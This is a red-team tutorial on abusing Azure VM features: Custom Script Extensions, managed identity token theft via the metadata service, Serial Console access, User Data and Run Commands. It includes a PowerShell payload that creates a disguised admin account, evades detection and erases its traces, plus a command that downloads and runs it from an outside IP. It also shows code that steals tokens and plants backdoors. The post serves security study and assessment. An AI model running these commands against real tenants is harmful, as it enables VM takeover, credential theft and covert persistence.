Diving Deep into Azure VM Attack Vectors
Join us as we dive into Azure Virtual Machine (VM) security from a red team perspective, focusing on identifying and exploiting VM capabilities. We cover advanced techniques such as Custom Script Extensions, Managed Identity impersonation, and Serial Console access, to conduct a thorough security assessment.
Understanding Azure VM Abuse Techniques 🖥️
Azure Virtual Machines (VMs) provides a powerful infrastructure for hosting applications and services in the cloud. To ensure the security of your VMs, it is crucial to have a good understanding of the potential attack surface of this well-used technology.
Our focus in this ride-along assessment is not on exploiting vulnerabilities, but rather on leveraging the features and capabilities of Azure VMs to simulate real-world attack scenarios. As an offensive or defensive security practitioner, it's essential to understand the capabilities and features of Azure VMs, in order to identify potential attack vectors and improve our security posture.
By identifying and exploiting the VM capabilities explored in this post, you will simulate real-world attacks and can uncover security gaps in your own Azure VM estate. The capabilities we will explore first are VM extensions, which allow you to run custom scripts and execute commands on the VMs.
Leveraging Custom Script Extensions ⚙️
What are Custom Script Extensions?
From a penetration tester's perspective, the Custom Script Extension in Azure VMs is an very powerful tool. It's designed to automate the execution of post-deployment scripts on VMs, typically for tasks such as configuration, software installation, and management. What makes it interesting from a security perspective is that these scripts run as the highly-privileged SYSTEM on the target machine (the root-level equivalent on Windows). Administrators might create custom script extensions to automate routine and repetitive tasks, such as downloading and executing a script from an Azure storage account or GitHub. This privileged execution context means that if a penetration tester can configure a custom script extension, they will gain complete control over the VM.
This feature provides a stealthy way to conduct activities on the target machine without needing to engage in more overt methods of privilege escalation or system compromise. Since these scripts are intended to be a part of regular VM management, their execution might not raise immediate red flags, allowing us to operate under the radar for longer.
The general execution flow of a custom script extension is as follows:
- Script Upload: the script is uploaded to an Azure Storage account, linked with Azure Compute
- Installation by Azure Guest Agent: subsequently, the Azure Guest Agent on the VM installs the Custom Script Extension (CSE) application and supporting files to:
C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\
- Script Download: once the script is uploaded to Storage, it is downloaded to the VM by the Guest Agent
- Execution: finally,
CustomScriptHandler.exe
is invoked to execute the provided script commands and any supplied arguments
Required Permissions
Specific permissions are needed to leverage custom script extension in Azure VMs:
- Permission to Write/Deploy Custom Script Extension:
Microsoft.Compute/virtualMachines/extensions/write
Az PowerShell command:Set-AzVMExtension
This permission allows the creation or modification of a custom script extension on a target Azure VM. We can deploy custom scripts or modify an existing one to inject a backdoor or establish a reverse shell to our C2.
- Permission to read existing custom script extension:
Microsoft.Compute/virtualMachines/extensions/read
Az PowerShell command:Get-AzVMExtension
With this permission, we can read existing scripts and hunt for sensitive information that may be contained in them (such as credentials) and conduct further enumeration.
The Attack
Assuming we manage to compromise a user who is assigned an RBAC role that contains the Microsoft.Compute/virtualMachines/extensions/write
action, we can use the Set-AzVMExtension
command from the Az PowerShell module to inject a backdoor or establish a reverse shell. Note that if an extension already exists (as below), we cannot create a new one but we can modify it.
Let’s see how we can add a new admin user to a VM using Set-AzVMExtension
.
1. Enumerate permissions: with a compromised account, we first check if we have the required permissions (actions in Azure). Run Get-AzRoleAssignment
to check the RBAC role assigned to the compromised user and then run Get-AzRoleDefinition -Id "<Your RBAC Role ID>" | Select-Object -ExpandProperty
Actions
and check if the action Microsoft.Compute/virtualMachines/extensions/write
is returned.
2. List available VMs: run Get-AzVM
to list the VMs available to the user, if you already know the VM name you're targeting, use $vm = Get-AzVM -Name <VM-Name> -ResourceGroupName Research_Rg
3. Payload: create a PowerShell payload and serve it, in our case we're using the Python HTTP server module: python3 -m http.server 80
. In the payload below we create a new user and add it to the local administrator group.
# username and password
$user = "VmUser"
$pass = "HSTS765$#Hsjh"
# Creating the user using PowerShell for stealth
New-LocalUser -Name $user -Password (ConvertTo-SecureString $pass -AsPlainText -Force) -AccountNeverExpires -Description "Maintenance Account"
# Adding the user to the Administrators group
Add-LocalGroupMember -Group "Administrators" -Member $user
# Random delay to avoid pattern recognition
Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 300)
# Clean up traces of the script execution for OpSec
$historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Clear-Content -Path $historyPath
}
# Self-deletion of the script for OpSec
$myInvocation = (Get-Variable MyInvocation -Scope 1).Value
Remove-Item $myInvocation.MyCommand.Path
4. Execution: use the Set-AzVMExtension
cmdlet to execute it on the VM.
Set-AzVMExtension `
-ResourceGroupName $vm.ResourceGroupName `
-VMName $vm.Name `
-Location $vm.Location `
-Name "HackScript" `
-Publisher "Microsoft.Compute" `
-ExtensionType "CustomScriptExtension" `
-TypeHandlerVersion "1.9" `
-Settings @{
"fileUris" = @("http://52.188.71.207/payload.ps1");
"commandToExecute" = "powershell -ExecutionPolicy Bypass -NoProfile -File payload.ps1"
}
After creating a new user and adding it to the local admin group, it attempts to clean up the traces. Start serving the payload with python and then use Set-AzVMExtension
to download it from our machine and execute on our target VM.
The output confirms that the command ran successfully.
We see a hit on our web server.
On the compromised VM we confirm that the admin account was successfully created!
Custom script extensions not only download and run the script as SYSTEM
, but those scripts also remain in a well-known location for a while after the Custom Script Extension is installed:C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\<version>\Downloads\<other version>\<script name>
We removed our traces in our previous script. However, we can also do this with the Remove-AzVMCustomScriptExtension
cmdlet.
Knowing this well-known location, we can hunt for previously run custom script Extensions.
We may find access keys for other resources or even credentials that were used in the script to perform actions on other systems.
Move Laterally by Impersonating Managed Identities 👻
Managed identities represent a unique category of service principals in Entra ID, previously known as Azure Active Directory. They are designed to provide Azure resources such as Web Apps and Virtual Machines with an Entra ID identity. This identity can be granted access through RBAC roles, to authenticate to and access other Azure resources. Azure Resources require specific permissions ( Actions
and DataActions
) in order to allow access.
Instead using a password, a managed identity leverages JWT
tokens for authentication. Typically a managed identity will contact a local endpoint and this endpoint will request the token from Entra ID. In the case of an Azure VM this endpoint will be the Instance Metadata Service (IMDS) on the local machine. IMDS is a REST API that's available at a well-known, non-routable IP address ( 169.254.169.254
) that can only be accessed from within the VM.
The general flow of requesting a token and accessing resources is as follows:
- A system or user-assigned Managed identity is associated with a VM
- A new service principal is created in Entra ID
- The newly created service principal is registered with IMDS
- Typically, an RBAC role will be assigned to the managed identity
- When it needs to interact with other Azure resources, it will contact the local IMDS endpoint (
https://169.254.169.254/metadata/identity/oauth2/token
) - The IMDS will request an access token from Entra ID
- Finally, Entra ID issues the access token
Adapted from: https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/media/how-managed-identities-work-vm/data-flow.png
Knowing how this works can allow us to use this process for a our own purpose. By impersonating the managed identity we can attempt to leverage any permissions that have been assigned to it to help us move laterally, exfiltrate information from backend services or escalate our privileges.
Getting Tokens:
Continuing on from the previous scenario where we took advantage of the custom script extension, let's get a PowerShell Remoting session on the server. We are already in the Administrators group, which allows us to connect. Users who aren't a member of this local group who you wish to connect to a target server can instead be added to the privileged "Remote Management Users" group.
We can also connect using offensive tooling such as Evil-WinRM 😈
With a PS-Remoting session on the target VM we can now issue an API call to the IMDS and request an access token:
$response = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
-Method GET -Headers @{Metadata="true"} -UseBasicParsing
$content = $response.Content | ConvertFrom-Json
$token = $content.access_token
$token
It's interesting to use the site https://jwt.io/ to decode the JWT and check important claims.
Note: although jwt.io says it doesn't store any information, this is a third-party site and should not be trusted with production credentials.
Some important values are below:
• lss
= this contains the tenant id
• oid
= the object id
• xms_mirid
= the full resource ID
Once we have the access token and the oid we can impersonate the managed identity with the Az PowerShell command Connect-AzAccount -AccessToken $token -AccountId $id
Our next step is to enumerate the resources that are accessible to the compromised identity and identify what permissions it has. If the managed identity has Reader access to the Microsoft.Authorization
resource provider, we can use the Get-AzRoleAssignment
cmdlet to return any assigned RBAC roles.
Otherwise, we can leverage API calls to return any resources that are accessible to us and any RBAC roles that are assigned. To list all resources accessible to the managed identity:
$URI = 'https://management.azure.com/subscriptions/$subid/resources?api-version=2020-10-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $token"
}
}
(Invoke-RestMethod @RequestParams).value|
Bypass Network Security with Serial Console Access 🧱
The Azure Portal's Serial Console can be used by penetration testers as a clandestine entry point, offering a text-based interface for virtual machines (VMs) and virtual machine scale set instances, whether Linux or Windows. This connection establishes a direct link to the ttyS0
or COM1
serial port of the VM or virtual machine scale set instance.
What's interesting about the serial console is that we can connect to our target machine regardless of the network restrictions placed on the VM. This is possible even in the case where a NSG (network security group) explicitly denies access to common remote management services like RDP
or WinRm
.
Azure serial console is also a good technique for bypassing Just-in-Time (JIT) admin access controls implemented by Microsoft Defender for Cloud. JIT is designed to harden security by enabling administrators to grant access to VM ports and functionality during specific time windows. For penetration testers and security professionals, the Azure serial console is a useful tool to keep in your Azure penetration testing arsenal.
To use this functionality, our compromised user requires the Microsoft.SerialConsole/serialPorts/connect/action
permission.
Threat Actors such as UNC3944 have actually been observed leveraging this technique in the wild. Notably, Mandiant's reputable research has documented the activities of Threat Actor UNC3944.
Azure Serial Console offers various capabilities in unauthenticated SAC console mode:
cmd
= Create a command prompt channeld
= Dump the current kernel logl
= List all IP network numbers and their IP addresses and set IP infot
= Display the task list.livedump
= create a live kernel dump, this allows us to exfiltrate Secrets from the dump.
Credential Exposure Through Boot Diagnostics Serial Logs
A risk arises when administrators execute commands that include sensitive information, such as plaintext credentials, directly within the Serial Console (passing credentials over the command-line is always a risk). Commands such as net user <username> <password> /add, are logged in cleartext in the Boot Diagnostics serial logs. An adversary with access to these logs can mine them for credentials and other secrets embedded within command-line parameters.
In the example below we can see how the creation of the user pwneduser is logged, including their credentials.
With valid credentials, we can run az serial-console connect
from the Azure CLI module to remotely connect to the VM.
az serial-console connect -n Research-VM -g Research-Rg
Initiating a Command Prompt Session from the Special Administration Console ( SAC
):
To activate a command prompt session on the VM through SAC, we use the command cmd
. This action triggers the execution of sacsess.exe
, that then subsequently initiates cmd.exe
within the virtual machine environment. This process seamlessly transitions users from the SAC interface to a fully interactive command prompt session, enabling them to execute commands directly within the VM operating system.
To establish a Command Prompt session within the Special Administration Console (SAC), follow these steps:
-
Input the command
cmd
to create a Command Prompt session. This command signals the SAC to prepare a new CMD environment for interaction. -
Once the CMD session has been created, access it by executing the command
ch -sn Cmd001
. This connects you to the newly established session labeledCmd001
, allowing for direct command execution within the VM environment.
You'll be asked to enter your username and password, after which we get the familiar cmd.exe shell 😎
Now you have full access to the VM and have bypassed any network restrictions!
Other Attacks 🔍
User Data Abuse
Azure VM User Data allows the injection of scripts or other data at the time of VM provisioning or later. This feature is intended for initial configuration tasks, such as running scripts, installing software and applying settings.
Despite its utility, User Data presents a lucrative target for threat actors due to the lack of encryption and the storage of potentially sensitive information. Commonly stored data includes PowerShell scripts for joining the domain, post-provisioning configurations, and credentials for infrastructure management tools. Such information, if accessed, can allow for lateral and vertical movement in Azure.
User Data is inserted to an Azure virtual machine at provision time, and is then persisted and accessible on the VM through the Instance Metadata Service. With local access to an Azure VM target we can hunt for credentials or sensitive information by querying the IMDS
in a similar way to before.
$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
Modify User Data
User data can be updated from outside the VM by using the corresponding Azure Rest API, without stopping or rebooting the VM.
With sufficient permissions (
Compute/virtualMachines/write
), we can modify the user data and add malicious scripts that execute on machine reboot. This modification is logged in VM Activity Logs, although this doesn't include the details of the change, which potentially delays detection.$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("env"))
$accessToken = (Get-AzAccessToken).Token
$Url = "https://management.azure.com/subscriptions/$subid/resourceGroups/$rgname/providers/Microsoft.Compute/virtualMachines/$vmname?api-version=2021-07-01"
$body = @(
@{
location = "east"
properties = @{
userData = "$data"
}
}
) | ConvertTo-Json -Depth 4
$headers = @{
Authorization = "Bearer $accessToken"
}
# Execute Rest API Call
$Results = Invoke-RestMethod -Method Put -Uri $Url -Body $body -Headers $headers -ContentType 'application/json'
Run Commands
Azure VM Run Commands provide the capability to remotely execute PowerShell scripts or shell commands directly on an Azure VM as SYSTEM
, without needing to log in to the VM directly and without even needing network access to the VM. This feature can be used legitimately for a variety of management and configuration tasks, including software installation, configuration changes, or running diagnostics.
For penetration testers and red teamers, this feature can be exploited to gain a foothold, escalate privileges, or move laterally within an environment, assuming that we've compromised credentials with sufficient permissions.
If we manage to compromise a user with Microsoft.Compute/virtualMachines/runCommand/action
permissions then we can run the following command to add a backdoor to access the VM whenever we choose, passing our script with the ScriptPath
flag. Virtual Machine Contributors and Owners have this permission by default.
Invoke-AzVMRunCommand -ScriptPath C:\pwnedlabs\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName "Research-VM" -ResourceGroupName 'Research_Rg' -Verbose
Conclusion
As cloud technologies continue to evolve, so too will the tactics, techniques, and procedures (TTPs) employed by adversaries. Staying informed about changes in service functionality and continuously testing to improve the security posture are essential in order to safeguard our Azure environments.
We hope you enjoyed exploring how VM capabilities can be used for offensive purposes. Thanks for reading!